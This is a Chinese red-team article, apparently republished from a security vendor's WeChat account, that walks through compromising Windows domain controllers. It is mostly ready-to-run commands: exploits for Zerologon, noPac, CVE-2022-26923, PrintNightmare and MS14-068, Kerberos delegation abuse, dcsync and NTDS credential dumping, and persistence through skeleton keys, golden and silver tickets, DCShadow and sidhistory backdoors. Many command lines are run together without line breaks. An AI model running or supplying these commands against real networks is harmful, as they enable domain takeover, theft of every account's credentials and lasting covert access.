连载:红队知识体系梳理-攻击域控制器
2023-5-19 00:12:56 Author: 白帽子(查看原文) 阅读量:33 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

通用漏洞

使用windows通用漏洞攻击机器获取权限

zerologon

利用CVE-2020-1472 Netlogon协议漏洞置空域机器用户密码,随后进行dcsync。影响2008-2004。注意:置空域机器用户密码会导致域控机器脱域,导致域内依赖ldap提供的服务通信异常,DNS服务异常,需要及时还原

#检测是否存在漏洞mimikatz.exe "lsadump::zerologon /target:192.168.10.250 /account:test$" exitpython zerologon_exploit.py 192.168.10.250  -scan
#利用漏洞重置机器用户密码mimikatz.exe "lsadump::zerologon /target:192.168.10.250 /account:test$  /exploit" exit
python zerologon_exploit.py 192.168.10.250 -exp
#使用机器用户dcsync
python secretsdump.py -no-pass -just-dc qaq/[email protected]192.168.10.250python3 secretsdump.py -no-pass -just-dc qaq/TEST\[email protected]192.168.10.250 #根据系统特性可能需要转义$
#从SAM文件中恢复机器用户密码mimikatz.exe "lsadump::postzerologon /target:qaq.com /account:TEST$ " exit  #不能代理执行
python zerologon_exploit.py 192.168.10.250 -recover

nopac

利用CVE-2021-42278 sAMAccountName名绕过漏洞和CVE-2021-42287 kerberos TGS认证漏洞组合利用,创建机器用户S4U2self生成域管权限ST。影响:windows 2008-2022。需要域账户

  • sam-the-admin

python3 sam_the_admin.py  qaq/test:Aa123456 -dc-ip 192.168.11.250  -debugpython3  sam_the_admin.py qaq/test:Aa123456 -dc-ip 192.168.11.250 -dump -debug  #dcsyncpython3  sam_the_admin.py qaq/test:Aa123456 -dc-ip 192.168.11.250  -shell -debug
  • nopac

#检测漏洞noPac.exe scan -domain qaq.org -user admin -pass 'Aa123456'
#利用漏请求域管用户 cifs服务ST,用于访问共享noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt#利用漏请求域管用户 ldap服务ST,用于dcsyncnoPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service ldap /ptt#利用漏请求域管用户HOST/RPCSS服务ST,用于执行命令。远程利用可noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service HOST /pttnoPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service RPCSS /ptt

#远程利用导出注入LDAP dcsync,先用MIMIkatz导出票据python ticket_converter.py ticket.kirbi ticket.ccache #kirbi转换为impacket ccache票据格式export KRB5CCNAME=ticket.ccachepython secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc

CVE-2022-26923

利用CVE-2022-26923 ADcs提权漏洞,创建机器用户并修改dNSHostName属性(DNS属性)为域控机器名,申请域控机器账户的证书然后进行dcsync。需要域内凭证。影响windows 2008-2022。

  • Certipy

    定位adcs

certutil -dump -vcertipy find "qaq.org/test:[email protected]" -debug #域外
#创建机器用户 dns属性设为域控机器名 certipy account create "qaq.org/admin:[email protected]" -dc-ip 192.168.11.250 -user "aaaa" -dns "test5-2012.qaq.org" -debug#申请创建的机器账户证书,-ca为CA Name,target为CA hostcertipy req -dc-ip 192.168.11.250 "qaq.org/aaaa$:udA3HVjoph9vHbNz@test5-2012.qaq.org" -ca qaq-TEST5-2012-CA -template Machine -debug#使用证书发起kerberos认证获取域控机器账户hashcertipy auth -pfx  test5-2012.pfx  -dc-ip 192.168.11.250 -debu
python secretsdump.py -hashes 2780694409376cd447f5894f5b407089:2780694409376cd447f5894f5b407089  qaq/test5-2012[email protected]192.168.11.250 -just-dc

PrintNightmare

利用CVE-2021-1675 打印机服务漏洞加载DLL执行代码。影响2008-2019。需要域内凭证,实测2016和2019可利用成功

使用impacket rpcdump.py脚本检测print spooler服务

python rpcdump.py 192.168.10.250 | findstr MS-RPRNpython rpcdump.py 192.168.10.250 | findstr MS-PAR

将dll放在共享目录,设置成可匿名访问,利用打印机服务需要一个域内凭证,域控需要获取DLL

linux 安装samba服务设置smb共享

#windows 设置文件共享服务器
#设置匿名SMB共享powershell -exec bypass -command "&{ import-module .\Invoke-BuildAnonymousSMBServer.ps1;Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable}"#关闭powershell -exec bypass -command "&{ import-module .\Invoke-BuildAnonymousSMBServer.ps1;Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable}
python CVE-2021-1675.py qaq.com/admin:[email protected]192.168.10.250   '\\192.168.10.104\smb\adduserx64.dll'
SharpPrintNightmare.exe '\\192.168.10.104\smb\adduserx64.dll' '\\192.168.10.250'SharpPrintNightmare.exe '\\192.168.10.104\smb\adduserx64.dll' '\\192.168.10.250' qaq.com admin Aa123456SharpPrintNightmare.exe c:\adduserx64.dl #本地提权

ms14-068

利用CVE-2014-6324漏洞,申请用户TGT修改PAC为域管权限,获取域控权限。需要一个域内凭证

#会生成ccache票据ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
export KRB5CCNAME=ticket.ccachepython secretsdump.py -k -no-pass test5-2012.qaq.org  -just-dc

ms17-010

使用ms17-010漏洞攻击域控制器获取权限。存在杀软导致ms17-010利用失败时,可使用匿名管道或一个普通用户凭证发payload绕过杀软

攻击PC终端可能会导致蓝屏重启

BlueKeep

利用cve-2019-0708 RDP远程代码执行漏洞获取权限,可能会蓝屏

利用:
https://github.com/cbwang505/CVE-2019-0708-EXP-Windows
https://github.com/RICSecLab/CVE-2019-0708
metasploit cve-2019-0708 exp模块

SMBGhost

利用CVE-2020-0796 SMB v3远程代码执行漏洞获取权限,可能会蓝屏。只影响Windows 10 1903-1909

利用:
https://github.com/ZecOps/CVE-2020-0796-RCE-POC
metasploit CVE-2020-0796 exp模块

委派攻击

非约束委派

拿到非约束委派服务机器权限后,dump lsass进程票据,寻找域管票据。或者诱导域控访问非约束委派服务,然后抓域管TGT

监听认证请求,也可以直接dump lsass票据

#监听来自域控机器账户的TGT认证请求Rubeus.exe monitor /interval:1 /filteruser:test$
Rubeus.exe ptt /ticket:base64 #注入
  • 利用spooler打印机bug漏洞强制域控请求

2012 R2以上可利用成功,2012 r2以下版本不在rpc中暴露Spooler服务

SpoolSample.exe 目标主机名 回连主机名python dementor.py -d domain -u username -p password 回连ip 目标ippython3 printerbug.py qaq.com/admin:"Aa123456"@192.168.10.250  回连主机
  • 利用PetitPotam MS-EFSRPC远程文件加密协议漏洞强制域请求

2008-2012可匿名触发,其他版本需要域内凭证

python3  PetitPotam.py   -d qaq.org -u admin -p Aa123456   WIN-7GPBH5JIVUL.qaq.org 192.168.11.250 
PetitPotam.exe WIN-7GPBH5JIVUL.qaq.org 192.168.11.250 1

约束委派

拿到约束委派服务账户凭证后,利用S4U2协议申请委派的机器服务票据。只能申请委派指定机器、委派指定服务的票据

  • impacket 利用

#使用约束委派服务账户  申请域管用户的LDAP服务票据python getST.py -dc-ip 192.168.11.250 -spn ldap/test5-2012.qaq.org  -impersonate administrator  qaq.org/WIN-7GPBH5JIVUL$ -hashes ca76767743d85196fa610bd2f1c9d48e:ca76767743d85196fa610bd2f1c9d48e
export KRB5CCNAME=ticket.ccachepython secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc -outputfile qaq
  • 使用kekeo利用

1.先申请约束委派服务账户TGT

kekeo.exe "tgt::ask /user:WIN-7GPBH5JIVUL$ /domain:qaq.org /password:Aa123456" exitkekeo.exe "tgt::ask /user:WIN-7GPBH5JIVUL$ /domain:qaq.org /NTLM:ca76767743d85196fa610bd2f1c9d48e" exit

2.S4U2self协议申请域管账户访问本机的ST1,S4U2proxy协议申请域管访问域控的LDAP ST2票据

#会生成二个票据,ST1和st2kekeo.exe "tgs::s4u /tgt:1.kirbi /user:[email protected] /service:ldap/test5-2012.qaq.org" exit mimikatz.exe "kerberos::ptt ldap.kribi" exitmimikatz.exe "lsadump::dcsync /domain:qaq.org /dc:test5-2012.qaq.org /csv /all" exit

资源约束委派

配置机器主机属性msDS-AllowedToActOnBehalfOfOtherIdentity值,配置机器资源委派属性。然后利用S4U2协议申请票据获取权限

1.配置资源委派属性

新建机器用户

#创建机器用户powershell -exec bypass  "&{import-module .\Powermad.ps1; New-MachineAccount -MachineAccount xxx -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose }"#查询新建机器的SIDpowershell -exec bypass "&{import-module .\powerview.ps1;  Get-DomainComputer xxx -Properties objectsid | Select -Expand objectsid}"

2.修改msds-allowedtoactonbehalfofotheridentity属性为新建的机器用户SID

powershell -exec bypassimport-module .\powerview.ps1; 
#修改msds-allowedtoactonbehalfofotheridentity属$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-476141730-3945430675-3953811658-1198)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer win-2012 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#查询msds-allowedtoactonbehalfofotheridentity属性Get-DomainComputer win-2012 -Properties msds-allowedtoactonbehalfofotheridentity#清空msds-allowedtoactonbehalfofotheridentity属性Set-DomainObject win-2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
#查询所有机器的msds-allowedtoactonbehalfofotheridentity属性powershell -exec bypass "&{import-module .\powerview.ps1; Get-NetComputer  | Select-Object -Property name,msds-allowedtoactonbehalfofotheridentity}"

3.发起S4u2请求

  • impacket 利用

#利用s4u2协议域管用户访问机器的票据python getST.py -dc-ip 192.168.11.250 -spn cifs/win-2012.qaq.org  -impersonate administrator  qaq.org/xxx$:123456
export KRB5CCNAME=administrator.ccachepython3 wmiexec.py -no-pass -k WIN-2012.qaq.org -dc-ip 192.168.11.250
  • Rubeus利用

dump lsass获取域账户的kerberos rc4-hmac字段

知道域账户密码明文,也可以生成kerberos rc4-hmac字段

Rubeus.exe hash /user:xx /password:Aa123456 /domain:qaq.org
#利用s4u2协议域管用户访问机器的票据,并注入Rubeus.exe s4u /user:test /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/WIN-7GPBH5JIVUL.qaq.org /ptt

域管凭证

1.查询域管组账户登录的非域控机器,定向攻击成功后dump lsass拿域管凭证
2.查询域控登录的会话session,定向攻击这些账户;

ACL

查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限
重点是域对象DACL,域管组/域管DACL,域控DACL

域控信息收集

获取到域控权限后,收集域控制器的有效信息,以便进行扩大战果

  • dcsync

python secretsdump.py -hashes 2780694409376cd447f5894f5b407089:2780694409376cd447f5894f5b407089  qaq/test5-2012[email protected]192.168.11.250 -outputfile qaqpython secretsdump.py  qaq/administrator:[email protected]192.168.10.250   -outputfile qaqpython secretsdump.py  qaq/administrator:[email protected]192.168.10.250  -outputfile qaq
export KRB5CCNAME=ticket.ccachepython secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc -outputfile qaq
mimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com /csv /all" exitmimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com  /user:krbtgt /csv " exit
  • ntds

#使用vssadmin创建卷影备份vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit C:\ntds.ditvssadmin delete shadows /for=C: /quiet
#导出systemreg save hklm\system c:\system.hive
#读取ntdspython3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
  • 日志

导出域控登录认证日志,定位用户登录的机器名

wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:2000 > EvtLogon.dat

然后用python脚本处理导出的筛选日志

  • DNS

通过DNS Manager获取DNS记录

Dnscmd.exe . /EnumZones   #列出区域
Dnscmd . /ZoneInfo qaq.org #列出区域
Dnscmd . /ZonePrint qaq.org #列出指定区域记录

当获取域管组用户凭证时,远程通过DNS Manager读取DNS记录
在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:

1.dnscmd保存在路径C:\Windows\System32下
2.dnscmd.exe.mui保存在C:\Windows\System32\en-US下(该位置比较通用,也可以在其他位置)

使用mimikatz注入域管凭证,然后使用Dnscmd 远程读取DNS记录

Dnscmd test5-2012.qaq.org /EnumZonesDnscmd   test5-2012.qaq.org . /ZonePrint qaq.org

域持久化

Skeleton key

通过在域控制器上安装Skeleton key注入Lsass进程内存,使所有域用户可使用一个密码(原密码仍有效)。域控重启失效

#密码mimikatzmimikatz.exe "privilege::debug"  "misc::skeleton" exit

黄金票据

在拥有krbtg 用户的ntlm-hash值后,可以伪造任意用户的TGT(as请求)

mimikatz.exe "kerberos::golden /user:administrator /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /krbtgt:a61897c242cd389e6a6ba05b7b99fcda   /ticket:gold.kirbi" exit  mimikatz.exe "kerberos::purge"  "kerberos::ptt gold.kirbi" exit

白银票据

在拥有服务账户的ntlm-hash值后,可以伪装任意用户访问该服务的ST(TGS请求)

#执行命令需要HOST 和RPCSS服务
mimikatz.exe "kerberos::golden /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /target:test.qaq.com /rc4:eb62a802b02097cc0ec0de4c0815ac10 /service:cifs /user:administrator /ptt" exit

影子凭据

shadow credential攻击。需要2016域功能级别,开启AD CS或者CA。
写入目标对象的msDS-KeyCredentialLink属性,给目标对象添加公钥。利用PKINIT证书验证方式使用私钥请求目标对象TGT,也可以获取目标对象的NTLM-hash。

影子凭据 批量利用工具:
https://github.com/Dec0ne/ShadowSpray

AdminSDHolder

AdminSDHolder是位于Active Directory中的系统分区(CN=AdminSDHolder,CN=System,DC=test,DC=loca)中的一个对象,作为域内一些特权组的安全模版。有一个进程(SDProp),每隔60分钟运行一次,将这个对象的ACL复制到某些特权组成员的对象的ACL里面去。

一般用于后门,新增一条ACE到AdminSDHolder对象,60分钟后ace规则会同步到特权组,ACE授权的用户也具有特权组资源的访问权限

DCShadow

dcshadow攻击。伪装成DC,让正常DC通过伪造的DC中复制数据,从而修改LDAP达到指定目的。dcysnc是从dc同步数据,dcshadow是伪装成dc让正常DC复制数据。

  • mimikatz添加域管账户

1.使用mimikatz更改配置架构和注册SPN值,伪装成dc,修改primarygroupid属性添加域管账户

!+ #注册并启动一个具有system权限的任务!processtoken #获取system权限令牌lsadump::dcshadow /object:CN=test,CN=Users,DC=qaq,DC=org /attribute:primarygroupid /value:512  #将对象的primarygroupid属性修改为512

或者是给对象添加sidhistory后门

lsadump::dcshadow /object:CN=test,CN=Users,DC=qaq,DC=org /attribute:sidhistory /value:S-1-5-21-1900941692-2128706383-2830697502-500

2.新开窗口域管权限运行mimikatz,其他dc同步修改的数据

lsadump::dcshadow /push

SeEnableDelegationPrivilege

SeEnableDelegationPrivilege:信任计算机和用户可以委派,默认只有域Administrators组才有。实战中不多见,一般用于拿到域控权限后用作权限维持。配置了SeEnableDelegationPrivilege特权的用户,就可以进行委派攻击任意机器。需要通过组策略配置SeEnableDelegationPrivilege特权

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246703&idx=1&sn=635b2b9c38423f473587ea71e24eaa1f&chksm=82ea5586b59ddc90152a0bef07c7a7877ba4b5ce37f3449904f3ff4a763adbd4f5b8afbab8df#rd
如有侵权请联系:admin#unsafe.sh